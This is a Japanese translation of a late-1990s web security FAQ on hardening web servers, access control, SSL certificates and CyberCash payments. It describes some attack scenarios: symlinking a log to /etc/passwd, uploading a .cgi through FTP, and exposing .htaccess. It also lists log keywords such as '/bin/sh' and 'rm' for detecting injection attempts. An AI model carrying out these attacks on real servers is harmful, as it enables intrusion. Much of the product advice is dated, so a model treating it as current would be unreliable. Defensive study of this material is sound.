この文書（英文オリジナル）のコピーは、以下の場所で入手できます。
この FAQ は、「Web Security: A Step-by-Step Reference Guide」 というタイトルで、 Addison-Wesley Longman より本として出版されています。
この文書の著作権は Lincoln D. Stein にあります。 © copyright 1995-2000 Lincoln D. Stein
この文書は、W3C Intellectual Property Notice の規定に従った上で、自由に再配布することができます。
この文書の作成に当たりご助言、ご協力いただいた以下の方々に深く感謝します。
Webの所有者は、一番の危険にさらされています。自分のサイトにWebサーバをインストールしたときから、あなたは自分のローカルネットワークをインターネットに公開したことになります。多くのビジターは見るだけで満足しますが、中にはあなたが一般向けとして意図していないものも一目見ようとする人もいるでしょう。さらに、見ているだけでは 満足できずに、無理矢理入り込んでくる人もいるでしょう。被害は様々ですが、単なるいたずらで済まされる、たとえばあなたのホームページが下品なパロディーとすり替えられているというようなものから、深刻な損害、たとえばあなたの顧客情報のデータベースが すべて盗まれる、というようなものまで起こり得るのです。
一般的には、バグのあるソフトウェアがセキュリティに突破口をあけるといわれています。 大きく、複雑なプログラムにはバグがあるというのもよく言われることです。残念ながら、 Webサーバはセキュリティホールを持った可能性のある（いくつかの例では持っていると証明されている）大きく、 且つ複雑なプログラムなのです。さらに、Webサーバをオープン構築すると、リモートリクエストに応じて、 周囲のCGIスクリプトがサーバ側の接続に対して実行されてしまうことがあります。あなたのサイトにインストールされているCGI スクリプトはすべてバグを含んでいる可能性があり、そのバグはセキュリティホールになるかもしれないのです。
ネットワークの管理者の立場から見ると、Webサーバはあなたのローカルネットワークにもうひとつのセキュリティホールを作る可能性があります。ネットワークセキュリティの一般的な目標は、 部外者が入れないようにすることにあります。しかし、Webサイトの目的はあなたのネットワークへのコントロールされたアクセスを提供することです。 粗雑に構築されたWebサーバは、非常に綿密に設計されたファイアウォールのシステムに穴を開けることがあります。 また、粗雑に設計されたファイアウォールは、Webサイトを使用不可能にする可能性があります。 インターネットの環境では物事は格別に複雑になってきているので、 Webサーバはそれぞれにアクセス特権を与えられた様々なグループのユーザを認識し、 正当なユーザであることを証明できるように構築されていなくてはならないのです。
エンドユーザには、ネットサーフィンは安全で匿名のように思えますが、それは間違いです。 ActiveX コントロールやJava appletのようなアクティブコンテントは、ウェブを見たときにウィルスやその他の悪質なソフトウェアをユーザのシステムに送り込んでしまう可能性があります。 また、アクティブコンテントは、Webブラウザが悪質なソフトウェアに抜け道を与えて、 ファイアウォールにバイパスを作りLANへ入り込むようにしてしまうという点で、 ネットワークの管理者とも大いに関係があります。アクティブコンテントがなくても、 Web ページを見る行為そのものがユーザのネットサーフ履歴を電子記録として残すので、 そこからそのユーザの好みや習慣をとても正確に掴むことができてしまうのです。
つまり、エンドユーザとWebの管理者のどちらもWeb を介してやりとりされるデータの秘密には注意しなくてはならないのです。 TCP/IPのプロトコルはセキュリティを考えて設計されたものではないので、ネットワーク上での盗聴には無防備です。 機密文書がWebサーバからブラウザに送信されるとき、エンドユーザが送信フォームに個人情報を記入してサーバに送るとき、 その情報は盗聴されているかもしれないのです。
いわゆる「セキュアな」ブラウザやサーバは、機密文書や情報をネットワーク上での盗聴から守るためだけに設計されていると理解することが大切です。ブラウザ側とサーバ側の両方 のシステムが安全でなければ、機密文書も傍受に対して無防備なのです。 ネットワークの盗聴からの防御とシステムのセキュリティについては、この文書の1 〜 5 章で取り上げられています。クライアント側のセキュリティは 6、7 章に含まれます。8 章では特定の Web サーバのセキュリティに関する注意を扱います。
ありますが、UNIX や NT 関係者には、あまり触れられたくない話題かもしれません。一般的には、強力で柔軟性の高いオペレーティングシステムほど、Web （やその他の） サーバを通しての攻撃をうけやすくなります。
UNIX システムは、多くのサーバやサービス、スクリプト言語、インタプリタが内蔵されており、クラッカーが利用する入り口を非常に多く持っているので特に攻撃を受けやすいシステムです。Macintosh や特別な目的の Web サーバボックスのようにもう少し能力の低いものはクラッカーに利用されにくくなります。最も安全なWeb サイトは骨子だけの Webサーバを実行している骨子だけの Macintosh です。詳細についてはQ84を参照してください。
もちろん、実際には、多くのサイトにはマルチタスクオペレーションシステムの性能の利点、データベースやミドルウェアの接続性の利点などを考えて Windows NT や UNIX を使うことを好むでしょう。セキュリティホールは UNIX、Windows NT の両方で見つかっており、さらに新しいセキュリティホールが日常的に見つかっています。Windows NT のシステムの中でも、最近のものの方がより攻撃されやすくなります。その理由は 1 つは OS が比較的新しく、大きなバグが直されていないということ、そしてもう 1 つは NT のファイルシステムとユーザアカウントシステムは非常に複雑で正しく構築することが難しいからです。
もしあなたがシステムを正しく構築することができ、かつベンダが提供するセキュリテイパッチをすぐかけるようにしていれば、いわゆる UNIX システムの方が NT システムよりも安全でしょう。しかし、サーバホストやソフトウェアの実行者の経験も考慮しなくてはなりません。経験の浅いシステム管理者が管理する UNIX システムは、熟練した管理者が管理する Windows NT システムよりもはるかに危険なのです。
NCSA の UNIX サーババージョン 1.3 は、有名な、重大なセキュリティホールを含んでいます。 1995年の3月に発見されたこのセキュリティホールは、部外者がサーバホストに対し、任意のコマンドを実行してしまうことが可能なものです。 もし、1995 年 3 月以前のバージョン 1.3 httpd バイナリをお持ちの場合は、使用しないでください！ パッチされた1.3のサーバか、（http://hoohoo.ncsa.uiuc.edu/ で入手可能） またはバージョン 1.4 以上のもの（同じサイトで入手可能）と交換してください。 Apacheの NCSA 用プラグインの交換 (http://www.hyperreal.com/apache/info.html) もこのバグに関しては無料です。
また、ブラウザのそれぞれの文書やドキュメントツリーの一部へのアクセスを制限するサーバの能力にはかなり開きがあります。 全く制限をしないサーバもあれば、ブラウザの IP アドレスに基づいたディレクトリや正しいパスワードを与えることができるユーザにアクセスを制限できるものもあります。 いくつかの、有償サーバ（たとえば Netsite Commerce Server、Open Market など）もまた、データを暗号化することができます。
John Franks 氏による WN サーバは、特筆に値するサーバです。設計が、他の Web サーバとは一線を画したものだからです。 他の多くのサーバがファイルの配布を黙認する形を取り、ドキュメントルート内のどの文書の移動も特別に禁じられていない限り許してしまうのに対して、 WN では制限がかけられます。 サーバはファイルが移動を許可された文書のリストの中にない限り、そのファイルを移動しません。 その場でのディレクトリ一覧表示や、その他の「場当たり的」な機能も許可されません。 WN のセキュリティ機能は http://hopf.math.nwu.edu/docs/security.htmlを参照してください。
有償、フリーウェア、あるいはパブリックドメインの多くのサーバを比較した表が WebCompare サイト http://www.webcompare.com/にまとめられています。
サーバサイドインクルードは、HTML文書に埋め込まれた、断片的なサーバの命令で、 これもセキュリティホールになる可能性があります。サーバサイドインクルードに使用できる命令のサブセットは、 サーバに任意のシステムコマンドや CGIスクリプトを実行するよう指示を出します。 作成者がHTMLの持ち得る問題について知らなければ、無意識のうちに、 思わぬ副作用を招くこともあります。あいにく、危険なサーバサイドインクルードを含んだ HTML ファイルは易しく書けるので魅力的に感じられます。
Apache や NCSA などいくつかのサーバでは、Webの管理者は任意のコマンドを実行できるインクルードのタイプを抜粋して disableにすることができます。詳細については、Q10を参照してください。
UNIX や NT システムで実行する Web サーバには、いくつかセキュリティ上の注意事項があります。
ftp://ftp.cert.org/pub/tools/crack/
ftp://ftp.cert.org/pub/tools/cops/Windows NT では、Midwestern Commerce's Administrator Assistant Toolkit を試してください。
http://www.ntsecurity.com
新しいセキュリティホールなどのタイムリーな情報源としては、newsgroup comp.security.announce に公示された CERT Coordination Center advisories があり、 以下に掲載されています。
ftp://ftp.cert.org/pub/cert_advisories/
WWW のセキュリティの問題に焦点を絞ったメーリングリストが IETF Web Transaction Security Working Group によって管理されています。定期購読するには、www-security- request@nsmx.rutgers.edu にメールを送ってください。 メッセージの本文に、 以下のように記入します。
SUBSCRIBE www-security your_email_address
Internet Security Systems,Inc.では、一連の Security FAQ を提供しています。 このFAQの最新版は以下で見ることができます。
http://www.iss.net/sec_info/addsec.html
主な WWW FAQ にも、 Web セキュリティに関係のある質問と回答、たとえばログファイルの管理やサーバソフトウェアのソースなどが含まれています。 最も新しいバージョンのFAQは以下にあります。
あなたは、サーバをローカルまたはリモートユーザの詮索する目から守らなくてはなりません。 最も簡潔な方策は Web の管理者を"www"ユーザとして指定し、"www" グループを作成してあなたのシステムで HTML 文書を作成する人すべてをこれに入れることです。 UNIX のシステムで、/etc/passwd ファイルを編集し、www ユーザのホームディレクトリがサーバルートになるようにしてください。 /etc/group を編集して、www グループのすべての作成者を加えるよう編集します。
サーバルートは www ユーザだけがコンフィギュレーションやログのディレクトリまたはコンテンツに書き込むことができるようにセットアップしてください。 これらのディレクトリの読み込みを www グループに許可するかはあなた次第です。Cgi-bin ディレクトリとそのコンテンツは、 世界中で実行可能、読み込み可能ですが、書き込みは不可能です （このディレクトリに関して、 信頼できるローカルの Web の作成者に書き込み許可を与えることができます）。
drwxr-xr-x 5 www www 1024 Aug 8 00:01 cgi-bin/ drwxr-x--- 2 www www 1024 Jun 11 17:21 conf/ -rwx------ 1 www www 109674 May 8 23:58 httpd drwxrwxr-x 2 www www 1024 Aug 8 00:01 htdocs/ drwxrwxr-x 2 www www 1024 Jun 3 21:15 icons/ drwxr-x--- 2 www www 1024 May 4 22:23 logs/
ドキュメントルートには異なった必要条件があります。あなたがインターネットで使えるようにしたいファイルは、 "nobody" というユーザの許可で実行されている間にサーバから読み込むことができなくてはなりません。 またローカルの Web ページ作成者が自由にドキュメントルートにファイルを加えられるようにしたくなるでしょう。 そのためにはドキュメントルートディレクトリを作り、そのサブディレクトリはユーザと "www" グループの所有で、誰でもが読み込むことができ、グループの人々は書き込むことができるようにすると良いでしょう。
drwxrwxr-x 3 www www 1024 Jul 1 03:54 contents drwxrwxr-x 10 www www 1024 Aug 23 19:32 examples -rw-rw-r-- 1 www www 1488 Jun 13 23:30 index.html -rw-rw-r-- 1 lstein www 39294 Jun 11 23:00 resource_guide.html
多くのサーバは、ドキュメントツリーの一部へのアクセスを、特定の IP アドレスや正しいパスワード （下記参照）を持ったリモートユーザに制限することができます。 しかし、Web の管理者の中には許可のない、ローカルユーザがドキュメントルートにあるアクセス制限された文書へアクセスしてしまうことを心配する人もいるでしょう。 このことはルートが誰でも読み込むことができる場合に問題になります。
この問題の解決法の1つは、サーバを "nobody" 以外、たとえば "www" グループに属していて特権のないユーザ ID などで実行することです。 これによってグループの人は読み込むことができても、部外者は読み込むことのできないアクセス制限された文書ができます （サーバが文書を書き換えることができてしまうので、グループに書き込み許可は与えないでください）。 こうすればローカルの、あるいは世界中の詮索の目から文書を守ることができます。 必ず、すべての制限されたサーバスクリプトに、同じように読み込みと実行の許可を設定してください。
CERN サーバではこの方法が一般化されており、制限されたドキュメントツリーが、それぞれの部分ごとに、 別々のユーザ特権またはグループ特権で実行されるようになっています。設定の方法については、 CERN のマニュアルを参照してください。
サーバをrootとして起動するが、実行は他のユーザとして行っている場合（Q11参照）、 サーバが実行ユーザの立場ではログのディレクトリの書き込みができないようになっていることが特に重要です。 たとえば、Netscape FastTrack と SuiteSpot サーバではサーバを実行しているユーザによって書き込みが可能になっています （つまり、デフォルトの設定では "nobody" に設定されています）。このことはいくつかの CGI のバグの影響を通常よりはるかに悪化させてしまう可能性があります。 たとえば、CGI のバグはリモートユーザが任意のコマンドを実行可能にしてしまいます。 そして、リモートユーザはバグを利用してサーバのルートアクセスの権限を得、ログファイルを /etc/passwd へのsymlink と取替えることができるようになります。お勧めできる回避策は、ログディレクトリの所有権を変更してサーバ・ ユーザが書き込みできないようにし、サーバ・ユーザの所有として空のログと pid ファイルを作っておくことです（これらのファイルを開くことができないと、サーバは起動し ません）。この解決法は、クラッカーがログファイルをいじることができてしまうので最適なものとは言えませんが、 デフォルトの設定よりははるかに良いでしょう。他の商用サーバにもこのバグがある場合があります。 （Laura Pearlman氏の情報提供に感謝します）
もちろん、自動ディレクトリ一覧機能をオフにしても、名前が推測できるようなファイルは盗難される危険があります。 また、自動テキストキーワード検索プログラムが不注意に「隠された」ファイルをインデックスに加えてしまうことも避けられません。 安全のためには、必要のないファイルはドキュメント・ルートからすべて削除してしまうべきでしょう。
NCSA や Apache サーバでは、シンボリックリンクを完全にオフにすることができます。 もうひとつのオプションとして、リンクの所有者がリンクのターゲットの所有者と一致した場合のみ、 シンボリックリンクでのジャンプを可能とすることもできます (つまり、 ドキュメントツリー中で自分が所有する部分はセキュリティが損なわれる恐れがありますが、 他の人の所有する部分にはリスクを与えずにすみます)。
Options IncludesNoExec
「ルートからサーバを起動する」とリスクがあるとされるのはこうした場合ではありません。 リスクがあると言われるのは、サーバが子プロセスをルートとして実行するよう構成されているケースです (たとえば、サーバコンフィグレーションファイル内に「ユーザルート」を指定するなど)。ルート権限で 起動された CGI スクリプトはそのシステムのあらゆる部分にアクセスできるようになるため、 これは重大なセキュリティ・ホールです。
サーバをルートで起動するのはどのような場合でも止めた方が良い、と言う人もいます。 サーバコードを起動してから子プロセスに分岐するまでの間、サーバの動きを制御する部分にどんなバグが潜んでいるか わからないと言うのです。パブリック・ドメイン・サーバのソースコードは自由に入手でき、そのよう な部分でバグはないとは思われますが、この警告は、間違ってはいません。サーバは普通の、 特権のないユーザ ID で実行した方が安全かもしれません。サーバを"nobody" "daemon""www"などで起動するサイトもたくさんあります。 しかし、この方法には、２つの問題があります。
仮説をたててみましょう。".cgi" という拡張子で終わるファイルをすべて実行するよう構成されている WWW があるとします。あなたのFTPデーモンを使って、リモートにいるクラッカーはあなたの FTP サイトに Perl のスクリプトをアップロードし、それに ".cgi" の拡張子を付けます。 そして自分のブラウザからあなたの Web サーバに新しくアップロードしたファイルを要求します。 そしてずばり、クラッカーはあなたのシステムを騙して、好きなコマンドを実行できるようになります。
FTP と Web サーバの階層を重ねることはできます。しかしFTP アップロードは、「匿名」ユーザに読み込みのできない 「新しくできた」ディレクトリに制限してください。
Choroot 環境でサーバを実行するために、サーバがアクセスする必要のあるものをすべて含んだルートファイルシステムの縮小版を作らなくてはなりません。 ここには、特別なデバイスファイルや共有ライブラリも含みます。 サーバのコンフィギュレーションファイルのすべてのパス名を調整し、 新しいルート・ディレクトリとの関連づけを行う必要もあります。この環境でサーバを起動するには、以下のように chroot コマンドを呼び出すシェルのスクリプトを置いてください。
chroot /path/to/new/root /server_root/httpd新しいルートディレクトリを設定するのは難しいし、このFAQの適用範囲外でもあります。 詳細については前述した著者の作品を参照してください。"chroot" 環境の効果を高めるには、 新しいルートディレクトリをできるだけ空に近い状態にしておくということを覚えておいてください。 新しいルートディレクトリには、インタプリタ、シェル、コンフィギュレーションファイル (/etc/passwd!を含む) を入れないでください。つまり残念ながら、 Perl や shell をもとにした CGI スクリプトは chroot 環境では実行できないということになります。 これらのインタプリタを入れることはできますが、chroot の利点のいくつかは失われます。
また、chroot はファイルを保護するだけで、万能の解決策ではないということに注意してください。 クラッカーが他の方法、たとえば NIS 情報サービスからシステムマップを取り込む、NFS をいじるなどして、 あなたのシステムに侵入してくるのを防ぐことはできません。
other hosts
\
server <-----> FIREWALL <------> OUTSIDE
/
other hosts
しかし、サーバを世界中に公開したい場合は、ファイアウォールの外側のどこかに置かなくてはなりません。 あなたの組織全体のセキュリティを考えると、完全にLAN の外側に置くのが一番安全でしょう。
other hosts
\
other hosts <----> FIREWALL <---> server <----> OUTSIDE
/
other hosts
これは「犠牲」構成と呼ばれます。サーバは侵入される危険性はありますが、 少なくとも侵入時に内部ネットワークのセキュリティを破損されることはなくなります。
WWW サーバをファイアウォールのマシンで実行することはお勧めできません。 サーバに何らかのバグがあると組織全体のセキュリティを危険にさらしてしまうからです。
この基本的な設定には、いくつものバリエーションがあります。公開情報には世界中にアクセス権を与え、 私的な文書には内部のネットワークアクセスを与えるなど、「内部用」 サーバと「外部用」サーバを組み合せる構成もあります。詳細については、 著作を参照してください。
ftp://ftp.tis.com/pub/firewalls/toolkit/
CERN サーバもプロキシの役割ができるよう構成されています。しかし、 CERN サーバは未知のセキュリティホールを含んでいる可能性のある大きく、 複雑なソフトウェアなのであまりお勧めしません。
ファイアウォールに関するより詳しい情報はWilliam Cheswick 氏、 Steven Bellovin氏共著の Firewalls and Internet Security およびD. Brent Chapman 氏、 Elizabeth D. Zwicky 氏共著のBuilding Internet Firewalls を参照してください。
ftp://coast.cs.purdue.edu/pub/COAST/Tripwire/
また、疑わしい動きがないか、定期的にアクセスとエラーのログファイルをチェックしてください。 "rm"、"login"、"/bin/sh" または "pearl" などのシステムコマンドや極端に長いURL が含まれているアクセスを探します（前者はシステムコマンドを呼び出すよう CGI スクリプトを騙そうとしていることを示し、後者はプログラムの入力バッファを溢れさせようとしていることを示します）。 また、パスワードで保護された文書へのアクセスに対し、何度も繰り返してエラーが出たものも探します。 これは、誰かがパスワードを解き当てようとした兆候の可能性があります。
IPアドレスのなりすましの検索・拒絶が可能なファイアウォールマシンの後ろでサーバを実行すれば、 IPアドレス制限のセキュリティ効果は非常に高くなります。こうした検索は、 ネットワーク内部のマシンになりすまして外部から侵入しようとするパケットを遮断するのに最も効果的です。
ひとつ注意すべき点は、プロキシサーバが文書を取ってくるようブラウザで設定されていて、 サーバが本当のユーザの IP アドレスではなく、そのプロキシの IP アドレスのみを知っている場合です。 つまり、プロキシが認可されたドメインにあれば、誰もがそのプロキシを使用してあなたのサイトにアクセスできるということです。 独自の制限ができる特定のプロキシでない限り、認可されたアドレスのリストにはプロキシ (またはプロキシサーバを含むドメイン) の IP アドレスは加えないでください。
ホスト名またはドメイン名での制限は IP アドレスでの制限と同じ危険があります。しかし、 さらに、「DNSのなりすまし」の危険にもさらされます。これはあなたのサーバを一時的に騙して、 認可されたホストネームが異なった IP アドレスに属していると認識させてしまうものです。 リスクを軽減するために、サーバの中にはそれぞれのクライアントに対して DNS 照合を特別にするものもあります。サーバは入ってきた要求の IP アドレスをホストネームに翻訳した後、 DNS を使ってそのホストネームを IP アドレスに再び翻訳します。 もしその 2 つが合致しなければ、アクセスは許可されません。NCSA の httpd でこの方法を使うには、 以下を参照してください。
もうひとつの問題は、パスワードはブラウザからサーバへと送信されている際の傍受に無防備だということです。 パスワードは有効な方法では暗号化されていないので、適切なハードウェアとソフトウェアを持ったクラッカーはパスワードを送信している間にインターネットからこれを盗むことができます。 さらに、一度しかパスワードがインターネットでやりとりされないログイン時のセッションと違い、ブラウザは保護された文書を取ってくる度にパスワードを送ります。 送信されたデータがインターネットを通る際にクラッカーが傍受するのを簡単にしてしまうのです。 これを防ぐために、データは暗号化しておかなくてはなりません。以下を参照してください。
サーバホストシステム上のローカルユーザに対しても文書を保護する必要がある場合は、 "nobody" 以外でサーバを実行し、制限された文書とサーバスクリプトの両方に、公開できないように許可を設定してください。 Q9を参照してください。
<Directory /full/path/to/directory>このようにすると、指示されたホスト (18.157.0.5、stoat.outback.au)、サブネット (182.198.2)、 ドメイン (.zoo.org) 以外のアクセスを拒否します。指定は数字の IP アドレスでもホストネームでも行うことができますが、 数字を使った方が破壊される可能性が低く安全です。 (Q18参照)
<Limit GET POST> order mutual-failure deny from all allow from 192.198.2 .zoo.org allow from 18.157.0.5 stoat.outback.au </Limit> </Directory>
ドメイン名による制限の安全性を増すひとつの方法は、サーバが DNS の照合の結果を必ず二重にチェックするようにしておくことです。 この機能は NCSA の httpd (および関連のある Apache サーバ) で Makefile 内に -DMAXIMUM_DNS フラグを必ずセットしておくことで可能になります。
CERN サーバでは、Protection 指令でプロテクション・スキーマを宣言し、Protect 指令を使ってそれをローカルのURLと関連させる必要があります。 指定したドメインだけにアクセスを制限する httpd.conf へのエントリは、以下のようになります。
Protection LOCAL-USERS {
GetMask @(*.capricorn.com, *.zoo.org, 18.157.0.5)
}
Protect /relative/path/to/directory/* LOCAL-USERS
新しいユーザを加える方法についての明確な詳細については、サーバのマニュアルで確認してください。 NCSA httpd では、サーバソフトウェアに添付の htpasswd プログラムを使用してパスワードファイルに新しいユーザを加えることができます。
htpasswd /path/to/password/file usernamehtpasswd は次にパスワードを使用するよう指示します。初めに htpasswd を呼び出すときは、 最初からパスワードファイルを作成するように - c フラグをつけなくてはなりません。
CERN サーバには htadm と呼ばれる少し異なったプログラムが付いています。
htadm -adduser /path/to/password/file usernamehtadm は次にパスワードを使用するよう指示します。
認可されたユーザの登録がすべて終わったら、ディレクトリを選択してパスワード保護をつけることができます。 NCSA の httpd とこれをベースとしたものには、access.confに以下のような追加を行ってください。
<Directory /full/path/to/protected/directory>
AuthName name.of.your.server
AuthType Basic
AuthUserFile /usr/local/etc/httpd/conf/passwd
<Limit GET POST>
require valid-user
</Limit>
</Directory>
AuthUserFile は、パスワードファイルへのフルパスと取り替える必要があります。
このタイプの保護方法は、前の章でも説明したように IP アドレスによる制限と組み合わせることができます。
詳細については、NCSA のオンラインマニュアル (http://hoohoo.ncsa.uiuc.edu/)、
または著者の作品 (How to
Set Up and Maintain a Web Site) を参照してください。
CERN サーバについては、httpd.conf に対応したエントリは以下のようになります。
Protection AUTHORIZED-USERS {
AuthType Basic
ServerID name.of.your.server
PasswordFile /usr/local/etc/httpd/conf/passwd
GetMask All
}
Protect /relative/path/to/directory/* AUTHORIZED-USERS
この場合も同様に、詳細についてはマニュアルや著者の作品を参照してください。
http://stein.cshl.org/~lstein/user_manage/Bill Jones 氏は WebPass と呼ばれる汎用のスクリプトを書きました。ユーザは Web のパスワードを変更できるだけでなく、 POP、ログインやニュースのパスワードなどを持っている場合これらも変更することができます。 これはPerl と Expect の組み合わせで可能となったもので、以下で見つけることができます。
http://web.fccj.org/~wcjones/WebPass.html商用 Web サーバにもいくつかリモートユーザ管理用のスクリプトがあります。詳細についてはサーバのマニュアルを参照してください。
http://your.site.com/protected/directory/.htaccessこれは、サーバのパスワードファイルを含むシステムの重要な情報を外部に知らせてしまうので非常に都合の悪いバグです。
ディレクトリごとのアクセスファイルのもうひとつの問題は、サーバのソフトウェアを変更する必要がある場合です。 非常に多くの小さなファイルを検索し、修正していくよりも、 たった 1 つ、中央のアクセスコントロールファイルを更新する方がはるかに簡単でしょう。
安全なインターネットの暗号化を実際に実装しているケースのほとんどは、 従来の対称の仕組みと新しい非対称の仕組みを組み合わせたものです。公開鍵暗号方式は、 後で実際のデータの暗号化に使用する対象方式の秘密鍵を取り決めるために使います。
商業活動では、安全な Web 上の送信を深刻に必要としているので、ブラウザ - サーバ間を送信されるデータの暗号化の仕組みを開発することには非常に高い興味を示しています。
公開鍵暗号方式については Bruce Schneier 著の "Applied Cryptography" を参照してください。
SSL (Secure Socket Layer) は Netscape Communications Corporationによって提案された仕組みです。 これは、HTTP や NNTP、FTPのような高レベルのプロトコルでのトランザクションを暗号化する低レベルの仕組みです。 SSL プロトコルは、サーバ認証(サーバの ID をクライアントに証明する)、送信中のデータの暗号化、 そして任意のクライアント認証(クライアントの ID をサーバに証明する) などの機能を持っています。 SSLは現在、Netscape Navigator、 Secure Mosaic、Microsoft Internet Explorer などのいくつかのブラウザや、Netscape、Microsoft、IBM、Quarterdeck、OpenMarket、O'Reilly and Associates などの多くのサーバ製品に実装されています。SSLの詳細については、以下を参照してください。
http://home.netscape.com/products/security/ssl/index.html
SHTTP (Secure HTTP) は、商業用に使用するインターネットの開発を目的とした企業提携団体 CommerceNet によって提案された仕組みです。これは、HTTP のプロトコルによってのみ動作する高レベルのプロトコルですが、 SSL よりも拡張性の高いものです。 SHTTP は最近、サーバでは Open Market, Inc が市場に出したOpen Marketplace Server に導入されており、クライアントでは Enterprise Integration Technologies の Secure HTTP Mosaic に導入されています。 詳細については、以下を参照してください。
http://www.eit.com/creations/s-http/
Shenは CERN の Phillip Hallam-Baker 氏によって提案された仕組みです。SHTTPのように、 既存の HTTP のプロトコルの高レベルな代用品です。2年前に提案されたにもかかわらず、 ブラウザやサーバのベンダでこれを導入しているところはありません。さらに、Shen を説明した URL はもう使用不可になっているので、どの点から見ても消滅しかけているといえるでしょう。
このソフトウェアにはいくつかのコンポーネントがあります。 SSL ベースのサーバを実行するに はすべてを入手し、インストールする必要があります。
SSL の使用できるサーバをインストールした後、認証機関から「サーバ証明書」を入手する必要があります。 サーバ証明書は多くの会社で取ることができますが、それぞれ少しずつ手順や料金の規定が違います。 アメリカでは、VeriSign Corporation が初めての、そして今でももっとも広く利用されている認証機関です。 しかし最近、料金を値上げしたので (商用サーバ証明書は 495 ドル)、VeriSign は最も高い会社のひとつとなってしまいました。 VeriSign の代わりにお勧めできるのは Thawte Consulting です。ここは料金がかなり安く、アメリカ国外の組織の申請での問題が非常に少ない会社です。 その他の証明組織には、以下のようなものがあります。
サーバ証明書の入手手順は認証機関によって少しずつ違いますが、基本的な概要は同じです。 認証機関を選んだら、その会社のWeb サイトに接続してサーバ証明書申請のセクションを見つけてください。 そこから自分のサーバのソフトウェアに適した申請用紙を探し、 記入します。 その後、あなたの Web サイトのドメイン名、会社名、連絡先を聞かれます。また、 組織の身元を証明するため、Dun and Bradstreet の番号や企業定款、大学の場合は会計からの公証済み文書などの提出を求められます。 また、クレジットカードの番号など、支払情報も聞かれるでしょう。
申請用紙の記入までが手順の半分で、この他に電子認証リクエストも作成する必要があります。 認証機関に申請用紙を提出後、サーバのソフトウェアに付いているプログラムを使用して公開 / 秘密鍵を作成します。 Apache-SSL では、このプログラムは genkey と呼ばれています。
鍵のペアを作成すると、鍵作成ソフトウェアは鍵リクエストを含むファイルを作成します。 このファイルは認証機関に自動的にメール送信される場合もありますが、それ以外は手動で送るよう、 ソフトウェアから指示されます。どちらの場合も、認証機関があなたのリクエストが有効であると承認するまでに数日〜数週間かかります。 最後に、返信の電子メールでサインされた証明書を受取ります。サインされた証明書を自分のサーバにインストールして、 その手順は完了します。詳細についてはサーバごとに違います。Apache-SSL では、 使用するプログラムは getca と呼ばれます。
この時点で、ユーザは傍受される心配なくサーバから文書を取り出したり、 フォームを送信したりすることができます。サーバ証明書はあなたのサーバの ID の証明をリモートユーザに与えます。
あまり高価でない個人証明書は VeriSign から入手することができます。VeriSignは ２種類の証明書を提供しています。クラス 1 の証明は、 年にたった 9.95 ドルしかかかりませんが、ユーザが提出した申請用紙の情報を何も確認しないので、 本当にそのユーザが本人だという保証はしてくれません。せいぜい、そのユーザは申請されたアドレスでメールを受け取ることができる、 ということを証明する程度です。クラス 2 の証明書は、年に19.95 ドルで、もっと高度な保証を提供します。 そのような証明を取得するためには、ユーザは信用調査機関に正当であると確認された個人情報を用意する必要があります。
Iイントラネットを運用している場合は、 組織の従業員のきめ細やかなアクセスコントロールのために自分で個人証明書を発行したいと望むかもしれません。 これには、認証サーバをインストールする必要があります。認証サーバは、 Microsoft、 Netscape、XCert、 Entrust、GTE から出されています。
アクセスコントロールのために個人証明書を使用するには、サーバが特別に構成されている必要があります。その設定の仕組みはこの文書の範囲外ですが、詳しい指示は Web Security: A Step-by-Step Reference Guide という著者の本を参照してください。
暗号サーバを使っていても、サーバが受信した後でクレジットカード番号に何が起こるか、 注意する必要があります。たとえば、その番号がサーバスクリプトで受信された場合、 誰でも読めるログファイルに書き出したり、リモートサイトに電子メールで送ったりしないよう、 気をつけてください。
CyberCash に登録された業者から買い物をするとき、ユーザは従来の支払フォームに記入し、 SSL を介して送信します。あるいは、業者がInstaBuy にも対応している場合は、InstaBuy アイコンをクリックして Wallet を設定、または使用します。 CyberCash の業者は CyberCash の新しいサービスである InstaBuy を実装するかどうか選択できます。支払情報は、業者の Web サーバに送られ、そこで取引をまとめて金融機関とリンクしている CyberCash Gateway サーバに送ります。CyberCash はその名前から連想されるものとは対照的に、実際はバックエンドの支払システムで、 ユーザからは見えない、業者側の使用する支払処理方法なのです。
CyberCash の利点は、支払情報を送信するときに、トリプルDES 暗号を使用しているということです。 また、支払は一切 CyberCash で処理されるので、業者はデータベースや固定メモリにクレジットカードや当座預金の情報を記録する必要がありません。 このことにより、業者のコンピュータシステムへの侵入者に財務情報を盗まれる危険性が少なくなります。 すべてのセキュリティの問題は、CyberCash の責任になるのです。
業者が支払を受け取るには、まず金融機関にクレジットカードの業者用口座を開設します。 米国内の 95% 以上の金融機関は、CyberCash 対応です。業者用口座を開く手数料は、それぞれ地域の銀行が設定するので、 様々です。典型的なケースでは、口座を作る際に約 100 ドルかかり、口座を維持するのに月々 15 ドルかかります。 また、取引ごとに、売買金額の 2〜 3% が取引手数料としてかかります。金融機関から請求される手数料に加えて、 CyberCash側から業者に対しては、一回限りのサービス開設手数料 (500 ドル 〜 1,000 ドル) と、 サービス・アクセス手数料 (通常 40 〜 80 ドル) と 取引量に応じた手数料 (通常１取引ごとに 0.2 〜 0.6 ドル) など月々のサービス手数料が課金される予定です。
業者用の銀行口座を開設したら、業者は "Merchant Connection Kit" (MCK) と呼ばれるソフトウェアを Web サーバ上にインストールします。このソフトウェアは、ユーザがショッピングカートのスクリプト (またはそれに相当するもの) で「支払」ボタンを押すと起動し、 取引を CyberCash サーバ上の "CashRegister" に送ります。 MCK は無料でダウンロードでき、 Windows NT や UNIX を含む多くのプラットフォームで使用できます。 必要なハードディスク容量はわずか 100 k バイトで、オンラインストアの支払を扱うための、 暗号化や通信用のライブラリ、HTML テンプレート、CGI スクリプトなどが含まれています。
MCK の仕事は取引の実行に責任のあるCyberCash Gateway サーバに支払情報を送信することです。 これらの支払サーバは、取引がインターネット上のものではなく、通常の店頭販売のようにみえる方法で金融機関と通信します。
また CyberCash は管理部門の仕事、たとえば、取引に関する問い合わせ、日々の取引の集計、 また返品された品物の払い戻しなどの役割を果たす、"Administrative Interface" も提供しています。
CyberCash の主な利点は、すべて機能の揃った外部管理の支払処理システムを業者に提供するということです。 業者は、業者用の口座を開設し、MCK を構成するだけで始められます。 欠点としては、財務情報がひとつのサーバ (CyberCash) にあまりに集中してしまうことと、 それに伴うCyberCash サーバの性能やスループットの特徴への依存の危険性があげられます。 さらに、クレジットカード取引手数料が業者に請求されるので、 1 ゲームごとに支払うオンラインのビデオゲームのような小さな買い物には、CyberCashは非実用的です。
CyberCash の詳細な情報は、http://www.cybercash.com で入手できます。
